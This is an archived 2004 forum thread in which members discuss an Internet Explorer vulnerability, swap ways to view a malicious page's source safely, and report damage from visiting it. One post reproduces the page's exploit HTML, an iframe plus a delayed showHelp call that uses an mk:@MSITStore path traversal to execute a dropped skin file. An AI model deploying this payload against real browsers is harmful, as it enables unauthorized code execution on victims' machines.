Valhalla Legends Archive

General => General Discussion => Topic started by: Thing on January 01, 2004, 08:28 AM

Title: Daily Exploit
Post by: Thing on January 01, 2004, 08:28 AM
If you were a Microsoft programmer working on the IE team, would you admit it to your friends?

http://www.securitytracker.com/alerts/2003/Dec/1008578.html  This one is pretty fun.

http://www.freewebs.com/arman2/showamp.htm Here is an example.
Title: Re:Daily Exploit
Post by: iago on January 01, 2004, 08:56 AM
I can't even view its source the easy way :)
Title: Re:Daily Exploit
Post by: Mesiah / haiseM on January 01, 2004, 05:18 PM
use msinet, before i lost everything due to a reformat, i made a small program that uses inet to grab the source, and build a text-only display of the contents of a website, therefore, no popups or crashing, good for testing links and such...
Title: Re:Daily Exploit
Post by: Kp on January 01, 2004, 06:05 PM
Quote from: MesiaH on January 01, 2004, 05:18 PM
use msinet, before i lost everything due to a reformat, i made a small program that uses inet to grab the source, and build a text-only display of the contents of a website, therefore, no popups or crashing, good for testing links and such...

Or you could use Lynx. :P
Title: Re:Daily Exploit
Post by: iago on January 01, 2004, 06:49 PM
Quote from: Kp on January 01, 2004, 06:05 PM
Quote from: MesiaH on January 01, 2004, 05:18 PM
use msinet, before i lost everything due to a reformat, i made a small program that uses inet to grab the source, and build a text-only display of the contents of a website, therefore, no popups or crashing, good for testing links and such...

Or you could use Lynx. :P

I would just use telnet :/
Title: Re:Daily Exploit
Post by: warz on January 01, 2004, 07:34 PM
bleeeeh.
Title: Re:Daily Exploit
Post by: Spht on January 01, 2004, 08:25 PM
I did View -> Source...
Title: Re:Daily Exploit
Post by: UserLoser. on January 01, 2004, 08:38 PM
Quote from: Spht on January 01, 2004, 08:25 PM
I did View -> Source...

That wouldn't work for me - So i packet logged it, took source and stuck it at http://www.userloser.net/test.html - slightly modified ;D
Title: Re:Daily Exploit
Post by: Kp on January 01, 2004, 09:26 PM
Quote from: iago on January 01, 2004, 06:49 PMI would just use telnet :/

It's much easier to follow links in Lynx than in telnet though. :)
Title: Re:Daily Exploit
Post by: Decimal. on January 01, 2004, 11:40 PM
I went to the example link that Thing provided and after viewing everything I don't have notepad anymore :-\. I think that one program overwrote my notepad program and now I don't have it... I need help to recover the real notepad.
Title: Re:Daily Exploit
Post by: warz on January 02, 2004, 01:00 AM
delete bad notepad.exe and replace with real notepad.exe ?
Title: Re:Daily Exploit
Post by: iago on January 02, 2004, 04:49 AM
Quote from: Kp on January 01, 2004, 09:26 PM
Quote from: iago on January 01, 2004, 06:49 PMI would just use telnet :/

It's much easier to follow links in Lynx than in telnet though. :)

There aren't any links, I just wanted to view the source.
Title: Re:Daily Exploit
Post by: Naem on January 02, 2004, 10:57 AM
why not just go to the main page, look at the link to go to the exploit page, and save the target to disk? worked for me.


<iframe src=xvulnx.wsz></iframe>
<h1>Wait For 8 Seconds...</h1>
<script>
setTimeout(
     function () {
            showHelp("mk:@MSITStore:iexplore.chm::..\\..\\..\\..\\program files\\winamp\\skins\\xvulnx.wsz::\self-exec.html");
     },
     8000
);
</script>
Title: Re:Daily Exploit
Post by: Stealth on January 02, 2004, 11:58 AM
I opened it in the obviously-immune Mozilla Firebird and did View -> Page Source.
Title: Re:Daily Exploit
Post by: Naem on January 02, 2004, 12:04 PM
Quote
Critical Updates and Service Packs
Windows Update did not find any critical updates for your computer

I love microsoft
Title: Re:Daily Exploit
Post by: Kp on January 02, 2004, 12:13 PM
Quote from: iago on January 02, 2004, 04:49 AM
Quote from: Kp on January 01, 2004, 09:26 PM
Quote from: iago on January 01, 2004, 06:49 PMI would just use telnet :/
It's much easier to follow links in Lynx than in telnet though. :)
There aren't any links, I just wanted to view the source.

I was responding to Mesiah's comment about how to test pages/links without subjecting yourself to IE vulnerabilities in the process.  For his case, it sounded like there would be links, in which case Lynx would be easier to use than telnet.
Title: Re:Daily Exploit
Post by: iago on January 02, 2004, 01:36 PM
Ah, then life's good.  Thought you were saying I should have used lynx.  

Incidently, does lynx have built-in support to view source?  It's surprising if it doesn't, but is lynx open-source?
Title: Re:Daily Exploit
Post by: Kp on January 02, 2004, 02:29 PM
Quote from: iago on January 02, 2004, 01:36 PM
Incidently, does lynx have built-in support to view source?

Backslash toggles between source and rendered view.  (See Lynx keystroke help for a full listing.)